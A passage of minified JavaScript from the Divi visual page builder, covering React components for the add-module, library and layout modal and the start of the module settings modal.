f="modules_all"===this.state.active_tab?"modules_library":"modules_all",h=o.find(".et-fb-columns-layout");if(this.setState({active_tab:f}),h.length&&"change_structure"===this.props.actionType){var m=h.find(".et-fb-column-layout--selected"),g=m;(g=t.shiftKey?m.prev().length?m.prev():h.find("li").last():m.next().length?m.next():h.find("li").first()).trigger("click"),setTimeout(function(){n.setState({selectedItemIndex:g.index()+1})},0)}return t.preventDefault(),!1}}}},{key:"getModuleType",value:function(){if(this.isLibrary())return"layout";var e=$.a.getModuleAddAfter(),t=e.type;if(e.is_parent)switch(t){case"et_pb_section":t="yes"===e.fullwidth?"et_pb_module":"et_pb_row";break;case"et_pb_column":t=e.is_inner_row?"et_pb_row_inner":"et_pb_module"}return j()(["et_pb_section","et_pb_row","et_pb_row_inner"],t)||(t="et_pb_module"),t}},{key:"isAddingIntoGlobal",value:function(){return $.a.getModuleAddAfter().is_global}},{key:"_preventRightClick",value:function(t){this.props.enableContextMenu||e(t.target).is("input:focus")||t.preventDefault()}},{key:"getLibraryCategoriesList",value:function(){var e=ETBuilderBackend.saveModuleLibraryCategories,t={};return t.all=ETBuilderBackend.i18n.saveModuleLibraryAttrs.allCategoriesText,C()(e)||k()(e,function(e){t[e.slug]=e.name}),t}},{key:"generateAddModuleContent",value:function(){var e=this,t=y()(ETBuilderBackend.modules,{is_parent:"on"}),n=$.a.getModuleAddAfter(),o=n.type,i=this.props.specialtyModal,a=n.is_specialty_placeholder,s="",l={allModulesList:{},mainTabTitle:"",modalTitle:"",moduleType:"",settingsModalClass:[]};if(this.maxItemIndex.modules_all=0,l.mainTabTitle=ae.newModule,l.modalTitle=ae.insertModule,!0===i){var u=0;l.modalTitle=ae.insertColumn,this.maxItemIndex.modules_all=0,s=m()([["1_2,1_2","1,0"],["1_2,1_2","0,1"],["1_4,3_4","0,1"],["3_4,1_4","1,0"],["1_4,1_2,1_4","0,1,0"],["1_2,1_4,1_4","1,0,0"],["1_4,1_4,1_2","0,0,1"],["1_3,2_3","0,1"],["2_3,1_3","1,0"]],function(t,n){var o=t[0].split(","),i={layoutType:t[1],layoutFormat:t[0],columns:o,specialtyColumns:3};return u++,e.maxItemIndex.modules_all++,r.a.createElement(q.a,{label:t[0],title:t[0],key:u,specialtyLayout:i,itemIndex:e.maxItemIndex.modules_all,selectedItemIndex:e.state.selectedItemIndex,onMouseEnter:e._onModuleItemMouseEnter,isProcessingPlaceholder:a})}),l.allModulesList=r.a.createElement("ul",{onMouseLeave:this._onModuleItemMouseLeave},s)}else if("et_pb_section"!==o&&"et_pb_row"!==o&&"et_pb_row_inner"!==o&&!n.is_inner_row||"et_pb_section"===o&&"yes"===n.fullwidth&&n.is_parent)s=m()(t,function(t){if(!j()(["et_pb_section","et_pb_row","et_pb_row_inner","et_pb_column","et_pb_column_inner"],t.label)){var n=void 0!==t.fullwidth_only&&"on"===t.fullwidth_only,o=$.a.getModuleAddAfter(),i=$.a.getProductTourModuleName(),a=o.fullwidth,s={};if(!("yes"===a&&!n||"no"===a&&n||""!==e.state.filterByTitle&&-1===t.title.toLowerCase().indexOf(e.state.filterByTitle.toLowerCase()))){if(Object(ne.i)(t.label)){if(ETBuilderBackend.postType!==ETBuilderBackend.themeBuilder.bodyLayoutPostType)return;if(B()(ETBuilderBackend.themeBuilder.postContentModules,function(e,t){return e+$.a.getModuleCount(t)},0)>0)return}return"selectModule"===e.state.currentTourElement&&i===t.label&&(s["et-fb-product-tour-element"]=!0),e.maxItemIndex.modules_all++,r.a.createElement(q.a,{label:t.label,title:t.title,fbSupport:t.vb_support,key:t.label,itemIndex:e.maxItemIndex.modules_all,selectedItemIndex:e.state.selectedItemIndex,icon:I()(t,"icon",""),iconSvg:I()(t,"icon_svg",""),onMouseEnter:e._onModuleItemMouseEnter,classnames:s})}}}),l.allModulesList=r.a.createElement("ul",{onMouseLeave:this._onModuleItemMouseLeave},s),l.moduleType="module";else if("et_pb_section"!==o||n.is_parent){if(("et_pb_row"===o||"et_pb_row_inner"===o)&&!n.is_parent||n.is_inner_row||"et_pb_section"===o&&n.is_parent){$.a.getLastAddedModuleData();var c={},d="regular",p="et_pb_column"===o?"et_pb_row_inner":o;l.settingsModalClass.et_fb_add_row_modal=!0,c.props={},"et_pb_row_inner"===p&&(d="specialty"),"on"===n.fullwidth&&(d="fullwidth"),c.props.section_parent=d,c.props.specialty_layout=n.specialty_layout,l.modalTitle=ae.insertRow,l.mainTabTitle=ae.newRow,l.allModulesList=r.a.createElement(X.a,oe({active:"true",_onClick:this.addRow,row:c,selectedItemIndex:e.state.selectedItemIndex,setMaxItemIndex:e.setMaxItemIndex,currentTourElement:e.state.currentTourElement},this.props))}}else{var f=a?["et_fb_specialty"]:["et_fb_regular","et_fb_specialty","et_fb_fullwidth"],h={et_fb_regular:ae.regular,et_fb_fullwidth:ae.fullwidth,et_fb_specialty:ae.specialty};this.maxItemIndex.modules_all=0,l.modalTitle=ae.insertSection,l.mainTabTitle=ae.newSection,l.settingsModalClass.et_fb_add_section_modal=!0,s=m()(f,function(t){var n={};return e.maxItemIndex.modules_all++,"selectSectionType"===e.state.currentTourElement&&"et_fb_regular"===t&&(n["et-fb-product-tour-element"]=!0),r.a.createElement(q.a,{label:t,title:h[t],key:t,itemIndex:e.maxItemIndex.modules_all,selectedItemIndex:e.state.selectedItemIndex,onMouseEnter:e._onModuleItemMouseEnter,classnames:n})}),l.allModulesList=r.a.createElement("ul",{onMouseLeave:this._onModuleItemMouseLeave},s)}return l}},{key:"handle_tab_click",value:function(e){e.preventDefault(),this.isLibrary()&&this.state.library_loading||this.setState({active_tab:e.target.className,libraryBackToLayouts:!0})}},{key:"getSavedModulesList",value:function(){var e=this.getModuleType(),t=this.getSavedModulesArray(),n="";if(this.maxItemIndex.modules_library=0,!C()(t))if("string"==typeof t)n=t;else{var o=this,i="",a=[];if("et_pb_row_inner"===e){var s=$.a.getModuleAddAfter();i=s.saved_specialty_column_type,a=4===("2_3"===i?4:3)?["4_4","1_2,1_2","1_3,1_3,1_3","1_4,1_4,1_4,1_4"]:["4_4","1_2,1_2","1_3,1_3,1_3"]}n=m()(t,function(t,n){if((""===i||j()(a,t.row_layout))&&("all"===o.state.library_category||j()(t.categories,o.state.library_category))){if(!I()(t,"shortcode.0.type"))return!1;var s="global"===t.is_global?t.ID:"",l={};return l.et_fb_global="global"===t.is_global,""!==o.state.filterByTitle&&-1===t.title.toLowerCase().indexOf(o.state.filterByTitle.toLowerCase())?!1:(o.maxItemIndex.modules_library++,r.a.createElement(q.a,{label:""!==t.module_type?t.module_type:e,title:t.title,key:n,savedShortcode:t.shortcode,globalID:s,onClickAction:"",itemIndex:o.maxItemIndex.modules_library,selectedItemIndex:o.state.selectedItemIndex,icon:I()(t,"icon",""),iconSvg:I()(t,"icon_svg",""),onMouseEnter:o._onModuleItemMouseEnter,classnames:l,isAddingIntoGlobal:o.isAddingIntoGlobal()}))}})}return n}},{key:"insertLayout",value:function(e){var t="on"===this.state.replace_layout;G.b.insertSavedModule(e,!0,t),G.b.cancelTooltip()}},{key:"loadLibraryModules",value:function(){var e=this.getModuleType(),t="et_pb_row_inner"===e?"et_pb_row":e,n="yes"===$.a.getModuleAddAfter().fullwidth&&"et_pb_module"===e?"fullwidth":"regular";!1===$.a.getLibraryModules(t,n)&&G.b.getLibraryModules(t,n)}},{key:"getSavedModulesArray",value:function(){var e=this.getModuleType();"et_pb_row_inner"===e&&(e="et_pb_row");var t="yes"===$.a.getModuleAddAfter().fullwidth&&"et_pb_module"===e?"fullwidth":"regular";return $.a.getLibraryModules(e,t)}},{key:"_onLibraryLoaded",value:function(){var e=this.getModuleType();"et_pb_row_inner"===e&&(e="et_pb_row");var t="yes"===$.a.getModuleAddAfter().fullwidth&&"et_pb_module"===e?"fullwidth":"regular";this.setState({library_modules_updated:t+e,currentTourElement:$.a.getActiveProductTourElement()})}},{key:"setModalPosition",value:function(t){if(this.props.ignorePosition)return{};var n=$.a.getModuleAddAfter(),o=n.type,r=this.props.specialtyModal,i=this.props.modalPosition,a=!v()(i)&&i,s=e(i.element).closest(".et-fb-skeleton"),l=le?Y.default.$topWindow("#et_pb_layout"):"",u=le?l.offset().top:0,c=le?l.offset().left:0,d=I()(this,"props.previewMode"),p=!v()(i)&&e(I()(i,"element","")),f=Y.default.getAdminBarHeight(),h={},m=!1,g=!1;a&&!1!==i.element&&"rightClickMenu"!==i.element&&(0===(m=p&&p.length>0?p:Y.default.$topWindow(".et-fb-page-settings-bar .et-fb-button--toggle-portability")).length&&(m=Y.default.$topWindow(".et-fb-page-settings-bar .et-fb-button--toggle-add")),g=m.hasClass("et-fb-page-settings--tools"),(m.hasClass("et-fb-button-group")||g)&&(m.context?m=Y.default.$topWindow(m.context):I()(i,"element.prevObject")&&(m=Y.default.$topWindow(I()(i,"element.prevObject"))))),!le&&!ue&&m&&m.length>0&&!Y.default.isElementInViewport(m)&&m[0].scrollIntoView({block:"center"});var b=m&&m.closest(".et-fb-page-settings-bar").length>0,y=m?m.innerHeight()/2:0,_=m?m.innerWidth()/2:0,k=Y.default.topViewportWidth(),w=Y.default.topViewportHeight(),C=m?m.offset():i,E=le||j()(["zoom","tablet","phone"],d)?Y.default.$topWindow().scrollTop():Y.default.$appWindow().scrollTop(),O="rightClickMenu"===i.element;if("save_to_library"===this.props.actionType&&O&&(C.top=this.props.rightClickPosition.top,"zoom"===d&&(C.top=C.top/2),"app"===Y.default.getWindowScrollLocation(d)&&(C.left=this.props.rightClickPosition.left)),le&&(E-=u,E-=parseFloat(Y.default.$topWindow("#et-bfb-app-frame").css("marginTop"))),h.class={},k<=502&&this.isLibrary())return h.style={top:0,left:0,right:!1,width:k,height:w,position:"fixed"},h;if(0===C.top&&0===C.left&&(C.top=i.top,C.left=i.left),!le&&Y.default.isResponsiveView($.a.getPreviewMode())){var S=Y.default.$topWindow("#et-fb-app-frame"),T=Y.default.getIntegerValue(S.css("paddingTop"));C.top=C.top+T}var M=k<493?k-20:400,x=t||this.state.autoHeight,P=le?-1*Y.default.$topWindow("#adminmenuwrap").innerWidth():j()(["tablet","phone"],d)?-1*Y.default.$topWindow("#et-fb-app-frame").innerWidth()/2:0,L=v()(this.props.modalHeight)||""===this.props.modalHeight?274:this.props.modalHeight,N=L,D=v()(this.props.modalWidth)||""===this.props.modalWidth?M:this.props.modalWidth,A="zoom"!==d||b||"rightClickMenu"===i.element?C.left:C.left/2,F=!1,R=0;if((A=A-D/2+_)>0){A=C.left+D/2+_>k?k-D-_-30:A}else F=Math.abs(P)<=Math.abs(A),R=Math.abs(A)-Math.abs(P),A=F?P:A;"et_pb_section"!==o||n.is_parent||r?"et_pb_row_inner"===o||n.is_inner_row?L=188:"modules_library"!==this.state.active_tab&&"portability"!==this.props.actionType&&("et_pb_row"===o||"et_pb_section"===o&&n.is_parent&&!r&&"yes"!==n.fullwidth)?L=284:"et_pb_section"===o&&r?L=320:"add_module"===this.props.actionType&&(L=385):L=198,g&&(L=290),"change_structure"===this.props.actionType&&p&&p.length>0&&p.closest(".et_pb_row_inner").length>0&&(L=148),"clear_layout"===this.props.actionType&&(L=200),N=v()(x)||""===x?L:Math.max(L,Math.min(936,x));var B=E;!O||"save_to_library"===this.props.actionType||le||j()(["zoom","tablet","phone"],d)||(B=0),ue&&(B+=Y.default.viewportScrollTop());var W=B+w,V=B+w/2,H=(!le||!b)&&C.top>=V,z=H?C.top-B:W-C.top,q=U.a.tooltipModal.top,K=U.a.tooltipModal.bottom,X=H?q:K;C.top;if(le&&b&&j()(["save_to_library","portability"],this.props.actionType)&&(z=w+E),N+X>z&&(N=Math.max(L,z-X)),b){var J=m.closest(".et-fb-page-settings-bar"),Q=J.hasClass("et-fb-page-settings-bar--vertical"),Z=J.hasClass("et-fb-page-settings-bar--corner"),ee=Z&&J.hasClass("et-fb-page-settings-bar--right-corner"),te=Z&&J.hasClass("et-fb-page-settings-bar--left-corner"),ne=J.hasClass("et-fb-page-settings-bar--right"),oe=Z&&J.hasClass("et-fb-page-settings-bar--top-corner"),re=J.position().top,ie=le?J.offset().top+parseInt(J.height())+13:J.outerHeight(!0)+Y.default.getAdminBarHeight(),ae=95,se=te?ae:A<(Q?80:10)?Q?80:10:Q?A-70:A,ce=this.isLibrary();if(ne&&(se-=Y.default.maybeGetScrollbarWidth(d)),("modules_library"===this.state.active_tab||j()(["save_to_library","portability","load_layout"],this.props.actionType))&&k<493&&(D=k<493?k-100-30:400),ce){var de=Q||le?30:parseInt(J.height()),pe=le||!Q&&!Z?50:ae,fe=le?0:60-f;ue&&(fe=-8),N=w-f-de-fe,D=Math.min(k-2*pe,1179),le&&(ae=0),Q||Z||le?(ie=oe?ie:f+fe,(A=(k-D)/2)<15&&(A=15)):A=(k-D-Y.default.getScrollbarWidth())/2}if((Q||Z||this.props.helpModalActive&&!this.state.helpModalMoved||le)&&(h.class["et-fb-tooltip--no-arrow"]=!0),Y.default.getAdminBarHeight()===re||le)h.class={"et-fb-modal-settings--inversed":!le||!ce,"et-fb-tooltip--no-arrow":Q||Z||this.props.helpModalActive&&!this.state.helpModalMoved||le&&ce,"et-fb-tooltip--vertical-center":Q},ce&&!le&&(N-=25,ue&&!Q&&(N-=24));else{var he=le?0:q;if((ie=re-N)<he){var me=he-ie;ie+=me,N=Math.max(L,N-me)}le||"save_to_library"!==this.props.actionType&&"clear_layout"!==this.props.actionType||(h.class["et-fb-modal-settings--blue-bottom"]=!0)}"load_layout"===this.props.actionType&&this.props.helpModalActive&&"library"===this.props.helpModalTrigger&&!this.state.helpModalMoved&&(Y.default.topWindow().innerWidth<1639&&Y.default.topWindow().innerWidth>960?D-=this.props.helpModal.width:window.innerWidth>960&&(A-=this.props.helpModal.width/2));var ge=ce?A:!ee&&se;return h.style={top:ie,left:ge,right:!!ee&&ae,width:D,height:N,position:le&&!ce?"absolute":"fixed"},h}var ve=(le?Y.default.$topWindow("#et-bfb-app-frame"):Y.default.$topWindow("#et-fb-app-frame")).offset(),be=ve.top;if(s.length>0){var ye="save_to_library"===this.props.actionType&&s.hasClass("et-fb-skeleton--row")?38:10;s.offset().left+ye}"app"===Y.default.getWindowScrollLocation(d)&&0===E&&0===be&&C.top>w&&setTimeout(function(){G.b.cancelTooltip()},300),be=le||j()(["zoom","tablet","phone"],d)||O&&"save_to_library"!==this.props.actionType||this.props.renderInsideApp?be:be-E;var _e="zoom"===d&&"rightClickMenu"!==i.element?C.top/2:C.top;_e=_e-N+(ue?0:be),this.props.forceFixedPosition||(A+=O?c:ve.left),A+D>k&&(A=k-D);var ke=0>A&&(this.props.forceFixedPosition||Math.abs(A)>ve.left)?10:A;if(ke=30>ke?30:ke,h.style={top:_e,left:ke,width:D,height:N,position:this.props.forceFixedPosition?"fixed":"absolute"},this.props.forceFixedPosition&&"custom_content"===this.props.actionType)return(h.style.top<0||h.style.top+N>w)&&(h.style.top=h.style.top<0?50:w-N-100),(h.style.left<0||h.style.left+D>k)&&(h.style.left=h.style.left<0?50:k-D-100),h;"save_to_library"===this.props.actionType&&(h.class["et-fb-modal-settings--blue-bottom"]=!0);var we="app"===Y.default.getWindowScrollLocation(d),Ce=O&&we?Y.default.$appWindow().scrollTop()-this.state.appWindowScrollTopOnload:0;if(h.style.top=h.style.top-Ce,!H){var Ee=N+y+15;h.style.top=h.style.top+Ee,Ee,Ee,!le&&h.style.height+X+y+15>z&&(h.style.height=h.style.height-y-15),h.class={"et-fb-modal-settings--inversed":!0},"save_to_library"===this.props.actionType&&(h.class["et-fb-modal-settings--blue-bottom"]=!1)}var Oe=H&&le?N:N+X;if(!this.windowScrolled&&N===L&&Oe>z){var Se=Oe-z,Te="desktop"!==d||le?Y.default.$topWindow().scrollTop():Y.default.$appWindow().scrollTop(),Me=H?Te-Se:Te+Se;("desktop"!==d||le?Y.default.$topWindow("html, body"):Y.default.$appWindow("html, body")).animate({scrollTop:Me},500,"swing")}if(F){var xe=Y.default.$topWindow("head"),Pe="et-fb-modal-edge-style",je=200-R-30,Le=ETBuilderBackend.css.prefix+" .et-fb-modal-add-module-container.et-fb-modal-settings--left-side:after {left: "+je+"px;}";xe.remove("#"+Pe),xe.append('<style id="'+Pe+'">'+Le+"</style>"),h.class["et-fb-modal-settings--left-side"]=!0}return this.windowScrolled=!0,h}},{key:"addRow",value:function(e,t){t=v()(t)?"et_pb_row":t,G.b.insertNewModule(t,e)}},{key:"_onClearLayout",value:function(e){e.preventDefault(),$.a.abIsMode("off")&&(G.b.performLayoutClearing(),G.b.cancelTooltip())}},{key:"_onClose",value:function(){A.a!==this.props._closeFunction?this.props._closeFunction():G.b.cancelTooltip()}},{key:"_onInput",value:function(e,t){var n=ie({},e,t);"filterByTitle"===e&&Y.default.hasValue(this.state.filterByTitle)&&(n.selectedItemIndex=1,n.selectedItemUpdated=!0),this.setState(n)}},{key:"isPreloadingItems",value:function(e){return!!this.props.preloadingItems&&$.a.isPreloadingItem(e)}},{key:"render",value:function(){var e,t=this;if(!this.props.active)return!1;var n=$.a.getAppPreference("builder_animation"),i=N()((ie(e={"et-fb-settings":!0,"et-fb-tooltip-modal":!0},"et-fb-tooltip-modal--"+this.props.actionType,!0),ie(e,"et-fb-modal-settings--container",!0),ie(e,"et-fb-modal-settings--"+this.state.active_tab,!0),ie(e,"et-fb-modal-add-module-container",!0),ie(e,"et-fb-moving",this.state.move),ie(e,"et-fb-movable-modal",this.props.movable),ie(e,"et-fb-tooltip-modal-animated","normal"===this.state.applyTransitionAnimation),ie(e,"et-fb-tooltip-modal-animated-fast","fast"===this.state.applyTransitionAnimation),e),this.props.classNames),a=!v()(this.state.modalPositionData),s=a&&!C()(this.state.modalPositionData)?this.state.modalPositionData:this.setModalPosition(),u=s.style,p="",f="";v()(s.class)||N()(i,s.class);var h="";switch(this.props.actionType){case"add_module":var m=this.generateAddModuleContent(),g=m.allModulesList,b=m.mainTabTitle,y=$.a.isProductTourActive()?$.a.getActiveProductTourElement():"",_={maxHeight:I()(u,"height",100)-100},k=$.a.getModuleAddAfter().is_specialty_placeholder;"selectSectionType"===y&&(_.overflow="visible"),p=m.modalTitle,N()(i,m.settingsModalClass);var w="module"===m.moduleType?r.a.createElement("div",{className:"et-fb-modules-filters et-fb-module-single-filter"},r.a.createElement(te.a,{type:"text",value:this.state.filterByTitle,name:"filterByTitle",_onChange:this._onInput,onKeyDown:this._onKeyDownEvent,additional_attrs:{placeholder:ae.search}})):"",E=$.a.isAllowedAction("add_library")&&$.a.isAllowedAction("divi_library")&&!k?r.a.createElement("li",{className:this.tabNavClassName("modules_library")},r.a.createElement("a",{href:"#",className:"modules_library",onClick:this.handle_tab_click},ae.addFromLibrary)):"",O=$.a.isAllowedAction("add_library")&&$.a.isAllowedAction("divi_library")?r.a.createElement("div",{className:this.tabClassName("modules_library")},r.a.createElement("div",{className:"et-fb-modules-filters"},r.a.createElement(Z.a,{options:this.getLibraryCategoriesList(),value:this.state.library_category,name:"library_category",_onChange:this._onInput}),r.a.createElement(te.a,{type:"text",value:this.state.filterByTitle,name:"filterByTitle",_onChange:this._onInput,additional_attrs:{placeholder:ae.search}})),r.a.createElement("ul",{onMouseLeave:this._onModuleItemMouseLeave},this.getSavedModulesList()),r.a.createElement(ee.a,{isLoading:this.isPreloadingItems("module")},r.a.createElement(J.a,{videoListId:"et_pb_save_to_library",trigger:"tooltip"}))):"";h=r.a.createElement("div",{className:"et-fb-main-settings et-fb-main-settings--add_new_module"},r.a.createElement("ul",{className:"et-fb-settings-tabs-nav",ref:"settingsTabsNav"},r.a.createElement("li",{className:this.tabNavClassName("modules_all")},r.a.createElement("a",{href:"#",className:"modules_all",onClick:this.handle_tab_click},b)),E),r.a.createElement("div",{className:"et-fb-settings-options-wrap",style:_},r.a.createElement("div",{className:"et-fb-settings-options"},r.a.createElement("div",{className:this.tabClassName("modules_all")},w,g),O)));break;case"load_layout":var S="et-fb-modal-settings--library";if(i[S]=!0,this.state.hasBackButton){i[S+"__layout"]=!0;var T={position:Object(d.spring)(-12,{stiffness:300,damping:20}),opacity:Object(d.spring)(1,{stiffness:300,damping:20})};p=r.a.createElement(d.Motion,{defaultStyle:{position:-40,opacity:0},style:T},function(e){return r.a.createElement("div",null,r.a.createElement(Q.a,{className:"et-fb-settings-button--back",buttonName:H.a.LIBRARY_MODAL_BACK_BUTTON,_onClick:t._onClickLibraryBackButton,primary:!0,style:{opacity:e.opacity,transform:"translateX( "+e.position+"% )"}},r.a.createElement(z.a,{size:"14",icon:"back",color:"#FFFFFF"})),ae.layoutDetails)})}else p=ae.loadLayout;h=r.a.createElement(W.a,{isLoading:this.state.library_loading,_renderTabs:this._renderTabs,doneLoading:this._onLibraryDoneLoading,pageChanged:this._onLibraryPageChanged,backToLayouts:this.state.libraryBackToLayouts,tabClassName:this.tabClassName,active_tab:this.state.active_tab,layoutFilters:this.props.layoutFilters,type:"layout",isProductTour:$.a.isProductTourActive(),productTourElement:this.state.currentTourElement,modalMoving:this.props.modalMoving,width:u.width,height:u.height});break;case"save_to_library":i.et_fb_save_module_modal=!0,p=ae.addToLibrary,h=r.a.createElement(K.a,{maxHeight:I()(u,"height",70)-70});break;case"change_structure":var M=$.a.getStructurallyChangedRow();p=ae.changeRow,h=r.a.createElement("div",{className:"et-fb-settings-options-wrap",style:{maxHeight:I()(u,"height",100)-60}},r.a.createElement("div",{className:"et-fb-settings-options"},r.a.createElement(X.a,{row:M,selectedItemIndex:this.state.selectedItemIndex,setMaxItemIndex:this.setMaxItemIndex})));break;case"clear_layout":p=ae.clearLayout,h=r.a.createElement("div",{className:"et_fb_save_module_modal et_fb_clear_layout"},r.a.createElement("div",{className:"et-fb-settings-options"},ae.clearLayoutText),r.a.createElement("a",{href:"#",className:"et-fb-save-library-button",onClick:this._onClearLayout},ae.yes));break;case"portability":p=ae.portability,h=r.a.createElement(V.a,{_renderTabs:this._renderTabs,preloadingItems:this.props.preloadingItems,tabClassName:this.tabClassName,active_tab:this.state.active_tab,maxHeight:I()(u,"height",140)-140,hasProgressBar:this.state.hasProgressBar}),Y.default.isBFB()||(i["et-fb-modal-settings--blue-bottom"]=!this.state.hasProgressBar&&!this.props.preloadingItems);break;case"custom_content":p=this.props.tooltipTitle,f=v()(this.props.buttons)?"":this.props.buttons,h=r.a.createElement("div",{className:"et-fb-main-settings et-fb-settings-options"},this.props.children)}var x=a?1:0,P="custom_content"!==this.props.actionType?"et-fb-tooltip-helper-container":"et-fb-tooltip-helper-container-custom",j=I()(u,"position",""),L=r.a.createElement(o.Fragment,null,r.a.createElement(d.Motion,{key:j,defaultStyle:{size:.8},style:{size:n?Object(d.spring)(1,{stiffness:300,damping:20}):1}},function(e){return r.a.createElement("div",{key:"modal",id:"et-fb-settings-column",ref:t.modal,className:l()(i),onContextMenu:t._preventRightClick,onKeyDown:t._onKeyDownEvent,tabIndex:"0",style:oe({},u,{opacity:x,transform:"scale( "+e.size+" )"})},r.a.createElement("div",{className:P},r.a.createElement("div",{className:"et-fb-module-settings"},r.a.createElement("h3",{className:"et-fb-settings-heading",onMouseDown:t._handleMove},p,r.a.createElement(Q.a,{className:"et-fb-settings-button--close",buttonName:H.a.MODAL_SETTINGS_BUTTON_CLOSE,_onClick:t._onClose,primary:!0},r.a.createElement(z.a,{size:"14",icon:"close",color:"#FFFFFF"}))),h,f)))}),this.isLibrary()&&Y.default.isBFB()&&r.a.createElement("div",{className:"et-core-modal-overlay et-core-active et-core-modal-overlay--library"}));return this.props.renderInsideApp?L:c.a.createPortal(L,Y.default.$topWindow(ETBuilderBackend.css.layoutPrefix+" #et-fb-app")[0])}}]),n}();pe.propTypes=ce,pe.defaultProps=de,t.default=pe}.call(this,n(24))},function(e,t,n){"use strict";n.r(t),function(e,o){var r=n(1),i=n.n(r),a=n(4),s=n.n(a),l=n(28),u=n(25),c=n(22),d=n.n(c),p=n(65),f=n.n(p),h=n(34),m=n.n(h),g=n(128),v=n.n(g),b=n(114),y=n.n(b),_=n(31),k=n.n(_),w=n(11),C=n.n(w),E=n(8),O=n.n(E),S=n(38),T=n.n(S),M=n(82),x=n.n(M),P=n(95),j=n.n(P),L=n(10),N=n.n(L),D=n(7),A=n.n(D),F=n(147),I=n.n(F),R=n(17),B=n.n(R),W=n(32),V=n.n(W),H=n(49),G=n.n(H),U=n(59),z=n.n(U),q=n(66),K=n.n(q),$=n(2),X=n.n($),Y=n(15),J=n.n(Y),Q=n(29),Z=n.n(Q),ee=n(84),te=n.n(ee),ne=n(125),oe=n.n(ne),re=n(110),ie=n.n(re),ae=n(47),se=n.n(ae),le=n(94),ue=n.n(le),ce=n(52),de=n.n(ce),pe=n(113),fe=n.n(pe),he=n(270),me=n.n(he),ge=n(226),ve=n.n(ge),be=n(90),ye=n.n(be),_e=n(74),ke=n.n(_e),we=n(324),Ce=n.n(we),Ee=n(381),Oe=n.n(Ee),Se=(n(271),n(186)),Te=n.n(Se),Me=n(276),xe=n.n(Me),Pe=n(197),je=n.n(Pe),Le=n(124),Ne=n.n(Le),De=n(183),Ae=n.n(De),Fe=n(817),Ie=n(818),Re=n(0),Be=n(21),We=n(107),Ve=n(14),He=n(16),Ge=n(9),Ue=n(77),ze=n(12),qe=n(3),Ke=n(19),$e=n(860),Xe=n(918),Ye=n(40),Je=n(981),Qe=n(51),Ze=n(674),et=n(727),tt=n(1301),nt=n(1334),ot=n(1279),rt=n(1469),it=n(162),at=n(1328),st=n(144),lt=n(30),ut=n(141),ct=n(1287),dt=n(35),pt=n(828),ft=n(116),ht=n(154),mt=n(62),gt=n(829),vt=n(638),bt=n(608),yt=n(130),_t=n(369),kt=n(261),wt=n(1506),Ct=function(){return function(e,t){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return function(e,t){var n=[],o=!0,r=!1,i=void 0;try{for(var a,s=e[Symbol.iterator]();!(o=(a=s.next()).done)&&(n.push(a.value),!t||n.length!==t);o=!0);}catch(e){r=!0,i=e}finally{try{!o&&s.return&&s.return()}finally{if(r)throw i}}return n}(e,t);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),Et=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},Ot=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();function St(e){if(Array.isArray(e)){for(var t=0,n=Array(e.length);t<e.length;t++)n[t]=e[t];return n}return Array.from(e)}function Tt(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function Mt(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}var xt=e(".et_fb_preview_container"),Pt=de()(function(){xt.removeClass("et_fb_preview_container__disable_animations")},1500),jt=Ke.d.getBackgroundFieldsNames(),Lt=function(e){var t=Be.a.getFieldBaseName(e).split("_");return"padding"===t[0]&&x()(parseInt(t[1]))&&2===t.length},Nt=function(e){return Lt(e)?Be.a.getFieldBaseName(e).split("_")[1]:NaN},Dt=function(e){return["padding_top_"+e,"padding_right_"+e,"padding_bottom_"+e,"padding_left_"+e,"padding_top_bottom_link_"+e,"padding_left_right_link_"+e]},At=function(){function e(){Mt(this,e),this.reset()}return Ot(e,[{key:"reset",value:function(){this.type="",this.data={},this.elementsType="",this.elementsData={}}},{key:"has",value:function(e,t){return e===this.type&&k()(this.data,t)}},{key:"get",value:function(e,t){return e===this.type?X()(this.data,t):void 0}},{key:"set",value:function(e,t,n){return e!==this.type&&(this.data={},this.type=e),se()(this.data,t,n),!1}},{key:"hasElements",value:function(e,t){return e===this.elementsType&&k()(this.elementsData,t)}},{key:"getElements",value:function(e,t){return e===this.elementsType&&X()(this.elementsData,t)}},{key:"setElements",value:function(e,t,n){return e!==this.elementsType&&(this.elementsData={},this.elementsType=e),se()(this.elementsData,t,n),!1}}]),e}(),Ft={isVisible:s.a.oneOfType([s.a.array,s.a.bool,s.a.object]),module:s.a.oneOfType([s.a.array,s.a.object,s.a.bool]),onModalChange:s.a.func,additionalClasses:s.a.object,ignorePosition:s.a.bool,isGlobalPresetsMode:s.a.bool,nonInteractiveMode:s.a.bool,disablePopupAnimation:s.a.bool},It=Ke.d.shouldInheritParentDefaults,Rt=Ke.d.inheritParentDefaults,Bt=function(t){function n(e){Mt(this,n);var t=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,e));Wt.call(t),t.displayName="ETBuilderSettingsModal",t.cache=new At;var o=e.module,r=e.isGlobalPresetsMode;if(t.module_type=Object(yt.b)(o),t.state=J()({activeDescription:null,activeHover:null,activeHoverField:null,hoveredGroup:null,openedToggle:"main_content",openedGeneralGroup:"main_content",openedDesignGroup:"",openedCSSGroup:"",advancedFields:t.module_type&&t.getComponentAdvancedFields(o,r),generalFields:t.module_type&&t.getComponentFields(o,r),cssFields:t.module_type&&t.getComponentCSSFields(o,r),filterOptions:e.filterOptions||"",filterSelected:e.filterSelected,filterNotice:!1,toggleTabs:{},isGlobalPresetsSubmitDialogVisible:!1,tabSelectedIndex:e.tabSelectedIndex||0,isModalRest:!1},t.getCustomTabsFields(t.module_type)),t.setting_resolver=t.getSettingResolver(),t.updatedAttrs={},!X()(t,"props.module.props.is_official_module")){var i=t.maybeGetFirstOpenedToggle();i&&(t.state.openedToggle=i,t.state.openedGeneralGroup=i)}return 